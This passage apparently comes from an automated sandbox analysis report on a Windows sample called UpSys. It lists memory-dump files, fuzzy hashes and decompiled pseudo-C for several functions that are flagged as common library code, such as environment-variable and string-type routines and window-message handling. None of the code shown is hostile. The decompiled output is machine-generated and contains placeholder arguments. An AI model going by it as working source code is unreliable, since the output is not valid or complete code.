                                                                                                                                                                                                        • Opcode Fuzzy Hash: 13a9dec8d4606deae45d5c94496941026453d34d5cddac68d3efdc03f34a622e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F3213D71B15542C0FF629B63E9547FA13A0AB9DBC4F045116EF0D4B6BAEE3AC546C700
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014001E558 Relevance: 13.8, APIs: 11, Instructions: 90COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$ErrorLastPrivilegeRelease_errno
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1805546551-0
                                                                                                                                                                                                        • Opcode ID: 0ad175c7008d0509fc0a0a27c613527ecc363b13b15230897bc93d1a2ea2fd03
                                                                                                                                                                                                        • Instruction ID: ef5174087a0b9c0cab3e0edd4cd8363c73b6a49abf870ae3217379666c09a887
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 0ad175c7008d0509fc0a0a27c613527ecc363b13b15230897bc93d1a2ea2fd03
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EE41D736602A8084EF579F62D5507EC23E1AB9CBD8F880435FB0D5F6A6DF7AD8918710
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140030708 Relevance: 13.8, APIs: 9, Instructions: 256COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 60%
                                                                                                                                                                                                        			E00000001140030708(intOrPtr __edx, void* __edi, long long __rax, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, char _a8, intOrPtr _a16, long long _a24) {
				long long _v72;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t10;
				signed int _t18;
				void* _t27;
				void* _t35;
				void* _t42;
				long long _t45;
				intOrPtr* _t46;
				intOrPtr* _t49;
				long long* _t55;
				void* _t58;
				long long _t59;
				long long _t62;
				void* _t63;
				void* _t70;
				intOrPtr _t71;
				long long _t72;

				_t53 = __rdx;
				_t49 = __rcx;
				_t47 = __rbx;
				_t45 = __rax;
				_t27 = __edi;
				_a24 = __rbx;
				_a16 = __edx;
				r13d = 0;
				if (__rcx != _t72) goto 0x40030754;
				E0000000114001EAE4(__rcx - _t72, __rax);
				r9d = 0;
				r8d = 0;
				_v72 = _t72;
				 *((intOrPtr*)(__rax)) = 0x16;
				_t10 = E0000000114001EA14(__rax, __rbx, __rcx, __rdx, _t58, _t63, __r8);
				goto 0x4003083e;
				_t71 =  *_t49;
				if (_t71 == _t72) goto 0x40030833;
				E00000001140030C20(_t10, 0x3d, _t71);
				_a8 = _t45;
				if (_t45 == _t72) goto 0x40030833;
				if (_t71 == _t45) goto 0x40030833;
				_t59 =  *0x400b44f8; // 0x0
				r15d = r13d;
				r15b =  *((intOrPtr*)(_t45 + 1)) == r13b;
				_t35 = _t59 -  *0x400b4500; // 0x0
				if (_t35 != 0) goto 0x40030812;
				if (_t59 != _t72) goto 0x400307b8;
				goto 0x40030807;
				if ( *((intOrPtr*)(_t72 + 8)) != _t72) goto 0x400307b2;
				E0000000114001D97C(_t47, r13d + 2, _t53, _t45, _t72 + 8, _t59);
				_t55 = _t45;
				_t62 = _t45;
				if (_t45 != _t72) goto 0x400307f6;
				E00000001140016F74();
				goto 0x400307f6;
				E00000001140030AB8(_t45, _t47, _t45, _t62, _t59, _t70);
				 *_t55 = _t45;
				_t46 = _a8;
				if (_t46 != _t72) goto 0x400307e3;
				 *((long long*)(_t55 + 8)) = _t72;
				 *0x400b44f8 = _t62;
				if (_t62 != _t72) goto 0x400308a4;
				if (_a16 == r13d) goto 0x40030859;
				_t42 =  *0x400b4508 - _t72; // 0x32648b0
				if (_t42 == 0) goto 0x40030859;
				if (E0000000114002EB30(_t27, _a16, _t47,  &_a8) == r13d) goto 0x4003089d;
				_t18 = E0000000114001EAE4(E0000000114002EB30(_t27, _a16, _t47,  &_a8) - r13d, _t46);
				 *_t46 = 0x16;
				return _t18 | 0xffffffff;
			}























                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x140030708
                                                                                                                                                                                                        0x14003070d
                                                                                                                                                                                                        0x140030720
                                                                                                                                                                                                        0x14003072e
                                                                                                                                                                                                        0x140030730
                                                                                                                                                                                                        0x140030735
                                                                                                                                                                                                        0x140030738
                                                                                                                                                                                                        0x14003073f
                                                                                                                                                                                                        0x140030744
                                                                                                                                                                                                        0x14003074a
                                                                                                                                                                                                        0x14003074f
                                                                                                                                                                                                        0x140030754
                                                                                                                                                                                                        0x14003075a
                                                                                                                                                                                                        0x140030768
                                                                                                                                                                                                        0x140030770
                                                                                                                                                                                                        0x140030778
                                                                                                                                                                                                        0x140030781
                                                                                                                                                                                                        0x14003078b
                                                                                                                                                                                                        0x140030792
                                                                                                                                                                                                        0x140030795
                                                                                                                                                                                                        0x140030799
                                                                                                                                                                                                        0x1400307a0
                                                                                                                                                                                                        0x1400307ab
                                                                                                                                                                                                        0x1400307b0
                                                                                                                                                                                                        0x1400307bb
                                                                                                                                                                                                        0x1400307c7
                                                                                                                                                                                                        0x1400307cc
                                                                                                                                                                                                        0x1400307cf
                                                                                                                                                                                                        0x1400307d5
                                                                                                                                                                                                        0x1400307dc
                                                                                                                                                                                                        0x1400307e1
                                                                                                                                                                                                        0x1400307e6
                                                                                                                                                                                                        0x1400307eb
                                                                                                                                                                                                        0x1400307f6
                                                                                                                                                                                                        0x1400307fd
                                                                                                                                                                                                        0x1400307ff
                                                                                                                                                                                                        0x14003080b
                                                                                                                                                                                                        0x140030815
                                                                                                                                                                                                        0x14003081e
                                                                                                                                                                                                        0x140030820
                                                                                                                                                                                                        0x140030827
                                                                                                                                                                                                        0x140030831
                                                                                                                                                                                                        0x140030833
                                                                                                                                                                                                        0x140030838
                                                                                                                                                                                                        0x140030858

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: free$_errno$DecodeEnvironmentPointerVariable__wtomb_environ
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3451773520-0
                                                                                                                                                                                                        • Opcode ID: 9ae762dbdfe3657a6b9777ba65b508f5fe52e9c4896cd66ce250bba8633a3119
                                                                                                                                                                                                        • Instruction ID: f0d540e375af5758d7add03c1ac349cd72e8fcb0788647fb821e171b87addb61
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9ae762dbdfe3657a6b9777ba65b508f5fe52e9c4896cd66ce250bba8633a3119
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C3A1D43A702A4041FA63AB27A9203EB6395F74CBD8F558615FB994B7F6CF398495C300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140056780 Relevance: 13.7, APIs: 9, Instructions: 173COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 35%
                                                                                                                                                                                                        			E00000001140056780(void* __ecx, void* __edx, long long __rbx, void* __rdx, long long __rbp, void* __r11, void* _a8, void* _a16, char _a24, signed int _a32) {
				signed int _v56;
				void* __rsi;
				signed int _t36;
				int _t38;
				struct HWND__* _t43;
				void* _t45;
				intOrPtr _t52;
				intOrPtr _t56;
				intOrPtr _t61;
				void* _t72;
				void* _t88;
				void* _t96;
				intOrPtr _t97;
				intOrPtr _t98;
				struct HWND__* _t128;
				intOrPtr* _t129;
				int _t131;
				void* _t137;
				int _t149;
				RECT* _t151;
				struct HWND__* _t153;

				_t102 = __rbx;
				_t96 = _t137;
				 *((long long*)(_t96 + 8)) = __rbx;
				 *((long long*)(_t96 + 0x10)) = __rbp;
				 *((intOrPtr*)(_t96 + 0x18)) = r8d;
				if (E0000000114004E0B0(__edx, 0x400c6a00, _t96 + 0x20, _t96 - 0x38, __r11) != 0) goto 0x400567bd;
				goto 0x40056a02;
				_t97 =  *0x400c6aa0; // 0x0
				_t98 =  *0x400c6ac8; // 0x3264820
				_t129 =  *((intOrPtr*)( *((intOrPtr*)(_t98 + _v56 * 8))));
				r12b =  *(_t129 + 0xf4);
				E0000000114003FD90( &_a24);
				if ( *((intOrPtr*)(_t129 + 0x88)) < 0) goto 0x40056809;
				E0000000114004D820( *((intOrPtr*)(_t129 + 0x88)),  *((intOrPtr*)(_t129 + 0x88)), _t98, 0x400c6a00);
				_t52 = _a24;
				_t36 = r12b & 0xffffffff;
				r14d = 1;
				_t72 = _t36 - 0x12;
				if (_t72 > 0) goto 0x4005691d;
				if (_t72 == 0) goto 0x400568cb;
				if (r12b == 0) goto 0x400568ba;
				if (_t36 <= 0) goto 0x400567b6;
				if (_t36 - 4 <= 0) goto 0x40056970;
				if (_t36 == 8) goto 0x40056894;
				if (_t36 == 0x10) goto 0x40056880;
				if (_t36 != 0x11) goto 0x400567b6;
				_t56 = _a24;
				if (_t56 < 0) goto 0x400567b6;
				r8d = r14d;
				 *((intOrPtr*)(_t129 + 0x88)) = _t56;
				E0000000114004D8D0(_t56, _t56, _t98, __rbx, 0x400c6a00,  *_t129);
				r8d = r14d;
				_t38 = InvalidateRect(_t153, _t151, _t149);
				goto 0x400569eb;
				if (_t38 < 0) goto 0x400567b6;
				goto 0x400568a6;
				if (_t38 < 0) goto 0x400567b6;
				r8d = 0;
				SendMessageW(_t128, _t131);
				goto 0x400569eb;
				if (_a24 >= 0) goto 0x4005699c;
				goto 0x400567b6;
				_t61 = _a24;
				if (_t61 - 0xffffffff < 0) goto 0x400567b6;
				r8d = r14d;
				 *((intOrPtr*)(_t129 + 0x88)) = _t61;
				E0000000114004D8D0(_t61, _t61 - 0xffffffff, _a24, _t102, 0x400c6a00,  *_t129);
				if (( *(_t129 + 0xf6) & 0x00000020) != 0) goto 0x400569eb;
				ShowWindow(??, ??);
				ShowWindow(??, ??);
				_t43 = SetFocus(??);
				goto 0x400569eb;
				if (_t43 == 0x13) goto 0x40056985;
				if (_t43 == 0x14) goto 0x4005684f;
				if (_t43 == 0x17) goto 0x40056970;
				_t88 = _t43 - 0x18;
				if (_t88 == 0) goto 0x40056945;
				if (_t88 <= 0) goto 0x400567b6;
				if (_t43 - 0x1b <= 0) goto 0x40056970;
				goto 0x400567b6;
				if (_t52 < 0) goto 0x400567b6;
				GetWindowLongW(??, ??);
				__imp__SetWindowLongPtrW();
				r8d = r14d;
				 *((intOrPtr*)(_t129 + 0x88)) = _t52;
				_t45 = E0000000114004D8D0(_t52, _t52, _a24, _t102, 0x400c6a00,  *_t129);
				goto 0x400569da;
				if (_t45 == 0xfffffffe) goto 0x400567b6;
				if (_t45 != 0xfe000000) goto 0x400569af;
				r8d = r14d;
				 *((intOrPtr*)(_t129 + 0x88)) = 0xfe000000;
				E0000000114004D8D0(0xfe000000, _t45 - 0xfe000000, _a24, _t102, 0x400c6a00,  *_t129);
				goto 0x400569eb;
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				r9d = r14d;
				E0000000114003DCE0(_a24,  *((intOrPtr*)( *((intOrPtr*)(_t97 + _a32 * 8)))), _t129);
				if ( *0x400b54f0 == 0) goto 0x400569ff;
				if (r12b != 8) goto 0x400569ff;
				goto 0x40056a02;
				return r14d;
			}
























                                                                                                                                                                                                        0x140056780
                                                                                                                                                                                                        0x140056780
                                                                                                                                                                                                        0x140056783
                                                                                                                                                                                                        0x140056787
                                                                                                                                                                                                        0x14005678b
                                                                                                                                                                                                        0x1400567b4
                                                                                                                                                                                                        0x1400567b8
                                                                                                                                                                                                        0x1400567bd
                                                                                                                                                                                                        0x1400567cd
                                                                                                                                                                                                        0x1400567e0
                                                                                                                                                                                                        0x1400567eb
                                                                                                                                                                                                        0x1400567f2
                                                                                                                                                                                                        0x1400567ff
                                                                                                                                                                                                        0x140056804
                                                                                                                                                                                                        0x140056809
                                                                                                                                                                                                        0x14005680d
                                                                                                                                                                                                        0x140056811
                                                                                                                                                                                                        0x140056817
                                                                                                                                                                                                        0x14005681a
                                                                                                                                                                                                        0x140056820
                                                                                                                                                                                                        0x140056829
                                                                                                                                                                                                        0x140056831
                                                                                                                                                                                                        0x140056836
                                                                                                                                                                                                        0x14005683f
                                                                                                                                                                                                        0x140056844
                                                                                                                                                                                                        0x140056849
                                                                                                                                                                                                        0x14005684f
                                                                                                                                                                                                        0x140056855
                                                                                                                                                                                                        0x14005685b
                                                                                                                                                                                                        0x140056861
                                                                                                                                                                                                        0x140056867
                                                                                                                                                                                                        0x140056870
                                                                                                                                                                                                        0x140056875
                                                                                                                                                                                                        0x14005687b
                                                                                                                                                                                                        0x140056887
                                                                                                                                                                                                        0x140056892
                                                                                                                                                                                                        0x14005689b
                                                                                                                                                                                                        0x1400568a6
                                                                                                                                                                                                        0x1400568af
                                                                                                                                                                                                        0x1400568b5
                                                                                                                                                                                                        0x1400568c0
                                                                                                                                                                                                        0x1400568c6
                                                                                                                                                                                                        0x1400568cb
                                                                                                                                                                                                        0x1400568d2
                                                                                                                                                                                                        0x1400568d8
                                                                                                                                                                                                        0x1400568de
                                                                                                                                                                                                        0x1400568e4
                                                                                                                                                                                                        0x1400568f0
                                                                                                                                                                                                        0x1400568fb
                                                                                                                                                                                                        0x140056909
                                                                                                                                                                                                        0x140056912
                                                                                                                                                                                                        0x140056918
                                                                                                                                                                                                        0x140056920
                                                                                                                                                                                                        0x140056925
                                                                                                                                                                                                        0x14005692e
                                                                                                                                                                                                        0x140056930
                                                                                                                                                                                                        0x140056933
                                                                                                                                                                                                        0x140056935
                                                                                                                                                                                                        0x14005693e
                                                                                                                                                                                                        0x140056940
                                                                                                                                                                                                        0x140056947
                                                                                                                                                                                                        0x140056955
                                                                                                                                                                                                        0x14005696a
                                                                                                                                                                                                        0x140056970
                                                                                                                                                                                                        0x140056978
                                                                                                                                                                                                        0x14005697e
                                                                                                                                                                                                        0x140056983
                                                                                                                                                                                                        0x14005698d
                                                                                                                                                                                                        0x14005699a
                                                                                                                                                                                                        0x14005699c
                                                                                                                                                                                                        0x1400569a2
                                                                                                                                                                                                        0x1400569a8
                                                                                                                                                                                                        0x1400569ad
                                                                                                                                                                                                        0x1400569b2
                                                                                                                                                                                                        0x1400569c0
                                                                                                                                                                                                        0x1400569c9
                                                                                                                                                                                                        0x1400569d4
                                                                                                                                                                                                        0x1400569da
                                                                                                                                                                                                        0x1400569e6
                                                                                                                                                                                                        0x1400569f2
                                                                                                                                                                                                        0x1400569f8
                                                                                                                                                                                                        0x1400569fd
                                                                                                                                                                                                        0x140056a18

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: InvalidateRect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 634782764-0
                                                                                                                                                                                                        • Opcode ID: e79b9d007e63f36cb85e0f642f6dd19d8e15d3ea6f7d12c98d9da13e19cda92e
                                                                                                                                                                                                        • Instruction ID: 7190c6f9872539bd648d53a6a219a5ee15517dcb00fe507ad4582b72ea76aafb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: e79b9d007e63f36cb85e0f642f6dd19d8e15d3ea6f7d12c98d9da13e19cda92e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E061813531464082FA26CB3795847EE2661B78DBD4F248516FF89937F5DE3AC4918B01
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140029840 Relevance: 13.7, APIs: 9, Instructions: 173COMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 33%
                                                                                                                                                                                                        			E00000001140029840(void* __edx, long long __rbx, intOrPtr* __rcx, long long __rdi, long long __rsi, void* __r8) {
				void* _t43;
				int _t45;
				int _t55;
				void* _t71;
				intOrPtr _t84;
				signed long long _t100;
				intOrPtr _t108;
				void* _t113;
				long long _t121;
				intOrPtr* _t122;
				long long _t125;
				char* _t131;
				signed long long _t132;
				void* _t134;
				void* _t135;
				void* _t136;
				void* _t148;
				void* _t149;
				int _t150;
				int _t151;
				int _t153;
				short* _t156;
				void* _t157;
				int _t160;

				_t121 = __rdi;
				 *(_t134 + 0x20) = r9d;
				_t135 = _t134 - 0x40;
				_t132 = _t135 + 0x30;
				 *((long long*)(_t132 + 0x40)) = __rbx;
				 *((long long*)(_t132 + 0x48)) = __rsi;
				 *((long long*)(_t132 + 0x50)) = __rdi;
				_t100 =  *0x400aeaa0; // 0x9e268096a868
				 *(_t132 + 8) = _t100 ^ _t132;
				r9d =  *0x400b4e4c; // 0x1
				_t157 = __r8;
				r15d = __edx;
				_t7 = _t121 + 1; // 0x2
				_t71 = _t7;
				if (r9d != 0) goto 0x400298cd;
				r8d = 1;
				if (GetStringTypeW(_t160, _t156) == 0) goto 0x400298b2;
				 *0x400b4e4c = 1;
				goto 0x400298e8;
				GetLastError();
				r9d =  *0x400b4e4c; // 0x1
				r9d =  ==  ? _t71 : r9d;
				 *0x400b4e4c = r9d;
				if (r9d == _t71) goto 0x400299fc;
				if (r9d == 0) goto 0x400299fc;
				if (r9d != 1) goto 0x40029a2b;
				if ( *((intOrPtr*)(_t132 + 0x68)) != 0) goto 0x400298f6;
				 *(_t132 + 0x78) =  ~( *(_t132 + 0x78));
				r9d =  *(_t132 + 0x58);
				asm("sbb edx, edx");
				 *((intOrPtr*)(_t135 + 0x28)) = 0;
				 *((long long*)(_t135 + 0x20)) = __rbx;
				_t151 = MultiByteToWideChar(_t153, _t150, _t131);
				_t84 = r12d;
				if (_t84 == 0) goto 0x40029a2b;
				r13d = 0xdddd;
				if (_t84 <= 0) goto 0x40029994;
				if (_t151 - 0xfffffff0 > 0) goto 0x40029994;
				_t16 = _t151 + 0x10; // 0x1a
				_t113 = _t151 + _t16;
				if (_t113 - 0x400 > 0) goto 0x4002997e;
				_t17 = _t113 + 0xf; // 0x29
				if (_t17 - _t113 > 0) goto 0x4002995c;
				E00000001140030CB0(_t41, 0xffffffffffffff0, _t148, _t149);
				_t136 = _t135 - 0xfffffff0;
				_t122 = _t136 + 0x30;
				if (_t122 == __rbx) goto 0x40029a2b;
				 *_t122 = 0xcccc;
				goto 0x4002998e;
				_t43 = malloc(??);
				if (0xfffffff0 == __rbx) goto 0x40029997;
				 *((intOrPtr*)(0xffffffffffffff0)) = r13d;
				goto 0x40029997;
				_t125 = __rbx;
				if (__rbx == __rbx) goto 0x40029a2b;
				E00000001140017520(_t43,  *((intOrPtr*)( *__rcx + 4)), 0, __rbx, 0x40099e5c, _t151 + _t151);
				r9d =  *(_t132 + 0x58);
				 *((intOrPtr*)(_t136 + 0x28)) = r12d;
				 *((long long*)(_t136 + 0x20)) = __rbx;
				_t45 = MultiByteToWideChar(??, ??, ??, ??, ??, ??);
				if (_t45 == 0) goto 0x400299e7;
				r8d = _t45;
				_t55 = GetStringTypeW(??, ??, ??, ??);
				_t23 = _t125 - 0x10; // -16
				if ( *_t23 != r13d) goto 0x400299f5;
				free(??);
				goto 0x40029a84;
				r12d =  *((intOrPtr*)(_t132 + 0x70));
				if (r12d != _t55) goto 0x40029a10;
				r12d =  *((intOrPtr*)( *__rcx + 0x14));
				if ( *((intOrPtr*)(_t132 + 0x68)) != _t55) goto 0x40029a1e;
				_t108 =  *__rcx;
				if (E0000000114002CAC0() != 0xffffffff) goto 0x40029a2f;
				goto 0x40029a84;
				if (0 ==  *((intOrPtr*)(_t108 + 4))) goto 0x40029a57;
				 *((intOrPtr*)(_t136 + 0x28)) = _t55;
				 *((long long*)(_t136 + 0x20)) = __rbx;
				E0000000114002CB14( *((intOrPtr*)(_t108 + 4)), 0, _t157, _t132 + 0x58);
				if (_t108 == __rbx) goto 0x40029a2b;
				r9d =  *(_t132 + 0x58);
				 *((long long*)(_t136 + 0x20)) =  *((intOrPtr*)(_t132 + 0x60));
				GetStringTypeA(??, ??, ??, ??, ??);
				if (_t108 == __rbx) goto 0x40029a82;
				free(??);
				return E00000001140028D30(r12d, __rbx,  *(_t132 + 8) ^ _t132, _t132 + 0x58);
			}



























                                                                                                                                                                                                        0x140029840
                                                                                                                                                                                                        0x140029840
                                                                                                                                                                                                        0x14002984e
                                                                                                                                                                                                        0x140029852
                                                                                                                                                                                                        0x140029857
                                                                                                                                                                                                        0x14002985b
                                                                                                                                                                                                        0x14002985f
                                                                                                                                                                                                        0x140029863
                                                                                                                                                                                                        0x14002986d
                                                                                                                                                                                                        0x140029871
                                                                                                                                                                                                        0x14002987f
                                                                                                                                                                                                        0x140029882
                                                                                                                                                                                                        0x140029888
                                                                                                                                                                                                        0x140029888
                                                                                                                                                                                                        0x14002988e
                                                                                                                                                                                                        0x14002989b
                                                                                                                                                                                                        0x1400298a8
                                                                                                                                                                                                        0x1400298aa
                                                                                                                                                                                                        0x1400298b0
                                                                                                                                                                                                        0x1400298b2
                                                                                                                                                                                                        0x1400298b8
                                                                                                                                                                                                        0x1400298c2
                                                                                                                                                                                                        0x1400298c6
                                                                                                                                                                                                        0x1400298d0
                                                                                                                                                                                                        0x1400298d9
                                                                                                                                                                                                        0x1400298e2
                                                                                                                                                                                                        0x1400298ed
                                                                                                                                                                                                        0x1400298f6
                                                                                                                                                                                                        0x1400298f9
                                                                                                                                                                                                        0x140029900
                                                                                                                                                                                                        0x140029904
                                                                                                                                                                                                        0x14002990b
                                                                                                                                                                                                        0x140029918
                                                                                                                                                                                                        0x14002991b
                                                                                                                                                                                                        0x14002991e
                                                                                                                                                                                                        0x140029924
                                                                                                                                                                                                        0x14002992a
                                                                                                                                                                                                        0x140029939
                                                                                                                                                                                                        0x14002993b
                                                                                                                                                                                                        0x14002993b
                                                                                                                                                                                                        0x140029947
                                                                                                                                                                                                        0x140029949
                                                                                                                                                                                                        0x140029950
                                                                                                                                                                                                        0x140029960
                                                                                                                                                                                                        0x140029965
                                                                                                                                                                                                        0x140029968
                                                                                                                                                                                                        0x140029970
                                                                                                                                                                                                        0x140029976
                                                                                                                                                                                                        0x14002997c
                                                                                                                                                                                                        0x14002997e
                                                                                                                                                                                                        0x140029989
                                                                                                                                                                                                        0x14002998b
                                                                                                                                                                                                        0x140029992
                                                                                                                                                                                                        0x140029994
                                                                                                                                                                                                        0x14002999a
                                                                                                                                                                                                        0x1400299ab
                                                                                                                                                                                                        0x1400299b0
                                                                                                                                                                                                        0x1400299be
                                                                                                                                                                                                        0x1400299c3
                                                                                                                                                                                                        0x1400299c8
                                                                                                                                                                                                        0x1400299d0
                                                                                                                                                                                                        0x1400299d6
                                                                                                                                                                                                        0x1400299e5
                                                                                                                                                                                                        0x1400299e7
                                                                                                                                                                                                        0x1400299ee
                                                                                                                                                                                                        0x1400299f0
                                                                                                                                                                                                        0x1400299f7
                                                                                                                                                                                                        0x1400299fc
                                                                                                                                                                                                        0x140029a06
                                                                                                                                                                                                        0x140029a0c
                                                                                                                                                                                                        0x140029a15
                                                                                                                                                                                                        0x140029a17
                                                                                                                                                                                                        0x140029a29
                                                                                                                                                                                                        0x140029a2d
                                                                                                                                                                                                        0x140029a31
                                                                                                                                                                                                        0x140029a3e
                                                                                                                                                                                                        0x140029a42
                                                                                                                                                                                                        0x140029a47
                                                                                                                                                                                                        0x140029a52
                                                                                                                                                                                                        0x140029a5b
                                                                                                                                                                                                        0x140029a68
                                                                                                                                                                                                        0x140029a6d
                                                                                                                                                                                                        0x140029a78
                                                                                                                                                                                                        0x140029a7d
                                                                                                                                                                                                        0x140029aa9

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • GetStringTypeW.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 00000001400298A0
                                                                                                                                                                                                        • GetLastError.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 00000001400298B2
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 0000000140029912
                                                                                                                                                                                                        • malloc.LIBCMT ref: 000000014002997E
                                                                                                                                                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 00000001400299C8
                                                                                                                                                                                                        • GetStringTypeW.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 00000001400299DF
                                                                                                                                                                                                        • free.LIBCMT ref: 00000001400299F0
                                                                                                                                                                                                        • GetStringTypeA.KERNEL32(?,?,?,?,00000000,0000000A,00000008,0000000140029B12), ref: 0000000140029A6D
                                                                                                                                                                                                        • free.LIBCMT ref: 0000000140029A7D
                                                                                                                                                                                                          • Part of subcall function 000000014002CB14: GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CB6A
                                                                                                                                                                                                          • Part of subcall function 000000014002CB14: GetCPInfo.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CB89
                                                                                                                                                                                                          • Part of subcall function 000000014002CB14: MultiByteToWideChar.KERNEL32(?,?,?,?,?,?,?,?,00000001,?,?,?,00000000,?,00000000,?), ref: 000000014002CC8D
